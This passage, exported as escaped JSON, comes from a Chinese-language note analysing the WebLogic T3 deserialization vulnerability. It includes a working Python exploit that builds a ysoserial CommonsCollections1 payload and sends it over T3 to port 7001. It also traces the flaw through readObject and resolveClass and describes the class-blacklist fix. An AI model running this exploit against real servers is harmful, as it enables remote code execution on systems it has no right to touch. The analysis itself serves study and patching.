\&#34;/Users/.../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MQYo-1673503823695&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cTS2-1673503823694&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    popen = subprocess.Popen([&#39;java&#39;,&#39;-jar&#39;,YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F4Pd-1673503823697&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pe42-1673503823696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return popen.stdout.read()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cb2g-1673503823699&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LkvM-1673503823698&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v7pe-1673503823701&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTCr-1673503823700&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def T3Exploit(ip,port,payload):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4MiV-1673503823703&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m9S2-1673503823702&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gEiZ-1673503823706&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dKrZ-1673503823705&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.connect((ip,port))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8v3P-1673503823708&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CA7z-1673503823707&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    handshake = \&#34;t3 12.2.3\\nAS:255\\nHL:19\\nMS:10000000\\n\\n\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4Rl-1673503823710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Cu3-1673503823709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.sendall(handshake.encode())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;13IQ-1673503823712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yumg-1673503823711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    data = sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;npKH-1673503823714&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1fvT-1673503823713&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    compile = re.compile(\&#34;HELO:(.*).0.false\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TmVs-1673503823716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XZEc-1673503823715&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    match = compile.findall(data.decode())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZdUo-1673503823718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xG4S-1673503823717&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if match:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cCC5-1673503823720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yk7D-1673503823719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        print(\&#34;Weblogic: \&#34;+\&#34;\&#34;.join(match))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pm0q-1673503823722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7W1E-1673503823721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    else:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uiri-1673503823724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;txqo-1673503823723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        print(\&#34;Not Weblogic\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ctJG-1673503823726&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YRUi-1673503823725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4zQu-1673503823728&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KST2-1673503823727&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    header = binascii.a2b_hex(b\&#34;00000000\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vCFM-1673503823730&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QghN-1673503823729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    t3header = binascii.a2b_hex(b\&#34;016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wzMr-1673503823732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tm0p-1673503823731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    desflag = binascii.a2b_hex(b\&#34;fe010000\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cXXx-1673503823734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gTJb-1673503823733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = header + t3header  +desflag+  payload&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZpTQ-1673503823736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4IWA-1673503823735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = struct.pack(\&#34;&gt;I\&#34;,len(payload)) + payload[4:]&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lUDD-1673503823738&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cuKj-1673503823737&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.send(payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xTGM-1673503823740&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ekgt-1673503823739&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Yhy-1673503823742&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ntO4-1673503823741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k9yL-1673503823744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xSE5-1673503823743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LORI-1673503823746&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5GGa-1673503823745&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    gadget = \&#34;CommonsCollections1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LhzG-1673503823748&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LqpJ-1673503823747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    cmd = \&#34;touch /tmp/success\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BtuA-1673503823750&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yR4k-1673503823749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = generatePayload(gadget,cmd)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uuvt-1673503823752&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wz0s-1673503823751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    T3Exploit(ip,port,payload)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;python&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5nBV-1673505956440&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qvac-1673505956441&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;大概利用过程如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;80kL-1673505922919&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4973/WEBRESOURCE7741c0cb5cd0bb05e84982082d40fe8a&#34;,&#34;width&#34;:2058,&#34;height&#34;:1616},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DdYR-1673506013072&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4977/WEBRESOURCEccc5a5f8e5079158d38c7553f31bd81b&#34;,&#34;width&#34;:1900,&#34;height&#34;:384},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hpsd-1673505977742&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;knWh-1673505977741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;代码调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kh2F-1673513147126&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cgza-1673513147125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VOLo-1673513129049&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev.readobject()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLGw-1673513153562&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XFvy-1673513153561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#222222&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Svvc-1673513148012&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I54x-1673513148010&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2pbI-1673513148357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N827-1673513148356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int var2 = var1.read();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vIEK-1673513148359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d4dt-1673513148358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    switch (var2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AVY3-1673513148361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fiPY-1673513148360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 0:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uDAn-1673513148363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C5Qg-1673513148362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return (new ServerChannelInputStream(var1)).readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aX1s-1673513148365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZIck-1673513148364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1SO-1673513148367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vynk-1673513148366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return var1.readASCII();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7q9q-1673513148369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JBmQ-1673513148368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nbAv-1673513148371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z0P3-1673513148370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new StreamCorruptedException(\&#34;Unknown typecode: &#39;\&#34; + var2 + \&#34;&#39;\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8L9s-1673513148373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XeUQ-1673513148372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tzF2-1673513148375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lTEz-1673513148374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r2Di-1673503857432&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;33yf-1673503857430&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在此处下断点，可看到已修改后的序列化数据：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;erBf-1673513620237&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4988/WEBRESOURCE395ada51a921d3ea0426dc971ffa6a44&#34;,&#34;width&#34;:2924,&#34;height&#34;:1840},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LaE9-1673503857588&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xhia-1673503857586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过ServerChannelInputStream.resovleClass()方法加载类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zB5B-1673516023193&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4990/WEBRESOURCE1fd4219ed48a8943c32fb3ccaf259332&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5aHA-1673516000234&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6q5Q-1673516000230&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;而ServerChannelInputStream继承自ObjectInputStream，而此处的resolveClass方法也是调用父类方法未有任何处理，故造成反序列化漏洞：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T0xg-1673516194234&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4999/WEBRESOURCE163b2ba99b23a2d551e78baa34adcc48&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qIDH-1673516092384&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jRxd-1673516092383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;下面就是正常的反序列化利用链流程了。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7N7r-1673575111769&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9bmv-1673575111767&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;引用文章中的流程图：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gYBu-1673575131643&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5003/WEBRESOURCEf8cbc43c54ba1ee20cccdb3fd88698bd&#34;,&#34;width&#34;:516,&#34;height&#34;:374},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;paG0-1673575257921&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L1cW-1673575257922&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F5Ou-1673575246253&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gTze-1673575246251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;修复方案&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AbQq-1673575129876&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QANw-1673575129874&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic选择resolveClass中添加类黑名单用于过滤反序列化利用链中所涉及的类，在其中一个补丁包中我们可以看到这个isBlackListed方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BipM-1673851025772&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5063/WEBRESOURCE7c417fdfe4ae88b117648c902dbb7d7a&#34;,&#34;width&#34;:691,&#34;height&#34;:428},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Yz7-1673851060514&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dzsg-1673851060515&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;来自ClassFilter，过滤反序列化攻击所使用的关键类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YMdw-1673851060513&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4ReW-1673851060512&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QhHo-1673850998736&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;package weblogic.rmi;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2vL2-1673851061228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kP5Q-1673851061227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0dNA-1673851061230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vzJd-1673851061229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.HashSet;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nK4J-1673851061232&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WVBD-1673851061231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import 